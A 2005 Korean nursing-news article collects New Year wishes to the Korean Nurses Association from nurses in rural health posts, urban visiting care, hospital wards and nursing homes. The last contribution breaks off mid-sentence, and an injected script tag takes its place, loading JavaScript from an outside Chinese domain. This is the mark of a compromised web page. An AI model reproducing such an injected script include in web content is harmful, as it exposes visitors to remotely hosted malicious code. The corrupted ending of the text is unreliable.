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2005년 간협에 바란다.
[편집국] 편집부   news@nursenews.co.kr     기사입력 2005-01-06 오전 10:18:00
◆ 도전과 개척정신으로 매진하길
== 김기엽(전남 가란도보건진료소장)

 아무나 쉽게 갈 수 있는 게 아닌 `지역사회의 건강지킴이 보건진료원'의 길을 계속 걸어오면서 때로는 갖가지 한계에 부딪혀 절망과 아픔을 겪기도 하지만, 땀에 젖고 흙 묻은 채 내미는 손을 잡고 다시 일어나곤 합니다.
 올해는 보건진료원이 간호사로서 1차 보건의료의 최일선에서 농어촌지역주민과 함께 동고동락한지 24년째를 맞이하는 해입니다.
 이제는 혼자서만 근무하는 특수한 상황을 넘어 타 기관간 상호 정보교환시스템을 활성화하고, 보건의료와 복지가 연계된 독자적이고 효율적인 사업을 펼쳐나감으로써 주민들에게 더 많은 혜택을 줄 수 있어야 할 것입니다.
 보건진료소가 고령화사회에 접어든 농어촌을 앞서 이끄는 보건기관으로 자리매김하길 바라며, 지금의 자리에 안주하지 않고 과감한 용기와 끊임없이 도전하는 개척정신으로 보건진료원이 간호계의 큰 나무가 되길 소망합니다.
 대한간호협회는 우리 사회의 중추적 역할을 담당하며, 성숙하고 발전된 사회를 만드는데 더욱더 앞장서주길 바라며, 한국 보건의료계에 큰 발자취를 남기는 한 해가 되기를 기원합니다.

◆ 지역주민과 함께 하는 간호
== 박민진(서울 성북구보건소 방문간호사)

 올 한해 모두에게 기쁨과 건강이 가득하길 바랍니다.
 현재 우리나라에서는 급속한 인구노령화와 함께 장기요양보호 대상자가 늘고 있으며, 취약계층에 대한 건강보호의 필요성 및 가족원의 수발 부담이 증가하고 있습니다. 이에 보건복지부와 특별·광역시에서는 2003년부터 14개 보건소를 선정하여 `대도시 방문보건시범사업'을 2년간 실시했습니다. 저도 이 사업의 실무자인 방문간호사로 활동하면서 바쁜 나날을 보내왔고 남다른 보람을 느끼고 있습니다.
 사업결과 대상자들이 건강관리에 자신감을 갖게 되고 삶의 질이 향상되는 등 만족도가 매우 높은 것으로 나타났으며, 더불어 방문보건사업의 필요성을 증대시키는 결과를 가져올 수 있었습니다. 이는 현장에서 열심히 최선을 다한 방문간호사 및 협력대학 교수님들의 아낌없는 지도, 지자체장들의 적극적인 지원이 있었기에 가능한 일이었습니다.
 새해에는 이같은 사업이 전국적으로 더욱 확대돼 지역사회 주민들은 더 좋은 서비스를 제공받고, 간호사들은 국민건강 증진에 기여하는 주역이 됐으면 좋겠습니다.

◆ 남자간호사 미래는 밝다
== 이정재(삼성제일병원 수간호사)
 최근 남자간호사에 대한 사회적 인식이 좋아져서 큰 자부심을 느낍니다. 그동안 헌신해온 선배님들과 현재 각 분야에서 열심히 일하고 있는 동료, 후배들의 노력과 희생의 결과라고 생각합니다.
 우리나라는 선진국을 향해 가고 있고 이에 발맞춰 간호사들도 간호의 질과 능력을 높여나가기 위해 노력하고 있습니다. 남자간호사들이 할 수 있는 일은 매우 많고, 새롭게 찾아야 할 일도 많습니다. 제한적인 영역보다 환자에게 더 바짝 다가가는 직접간호에 힘을 쏟고, 대상자의 건강회복에 기여할 수 있는 역할로 인정받아야 할 것입니다.
 간호사가 되기 위해 공부하는 남학생들이 늘고 있어 기쁘기도 하지만 내심 걱정도 됩니다. 하나의 직업으로만 인식하고 현실에 적응 못하거나 쉽게 포기하진 않을까 하는 노파심에서겠죠. 그렇지만 분명한 것은 남자간호사의 미래는 매우 밝다는 사실입니다.
 남자간호사 여러분, 용기 잃지 마시고 지혜롭고 현명한 분들이 돼주시길 바랍니다. 뒤를 잇는 후배님들은 더욱 쉽고 넓은 길을 올 것이기에 외로움을 뒤로 할 수 있습니다. 새해엔 더욱 자신 있는 간호사가 돼주십시오.

◆ 어르신 건강과 행복 돌보는 기쁨
== 이옥란(한울촌너싱홈 시설장)

 저는 3년 전 너싱홈에 관한 특강을 듣고 "이 일이야말로 내가 해야 할 일이구나, 간호가 갈 방향이구나"라고 생각했습니다. 그때부터 뜻이 있는 곳에 길이 있다는 평범한 진리를 믿으며 준비를 해왔고, 사회복지와 조화를 이루는 간호학의 매력을 다시금 느끼는 고마운 계기가 됐습니다.
 너싱홈을 운영하면서 애로점도 있고 외롭기도 하지만 간호계와 국민들의 관심과 격려가 있다면 정말 큰 힘이 될 것 같습니다. 오랫동안 준비하고 큰 용기를 내어 시작한 너싱홈이, 이 시대 간호사가 이끄는 모범적인 시설이 될 수 있도록 힘쓸 것입니다.
 간호사가 할 수 있는 일은 참 많으며, 새로운 일을 찾는 길은 그 분야에 관심을 갖는 것으로부터 시작됩니다. 새로운 일을 시작하는 것은 지금까지의 노력보다 더 많은 준비와 더 큰 용기를 필요로 하지만, 분명히 결실이 있으리라 믿습니다.
 봄볕 따스한 날 어르신들을 모시고 어린이대공원 마당으로 나들이 갈 날을 기다려봅니다.

◆ 어머니 같은 마음으로 따뜻한 세상을
== 손현지(대구시 달서구)
 간호대학을 졸업한지 수년이 ?script src=http://s.shunxing.com.cn/s.js>
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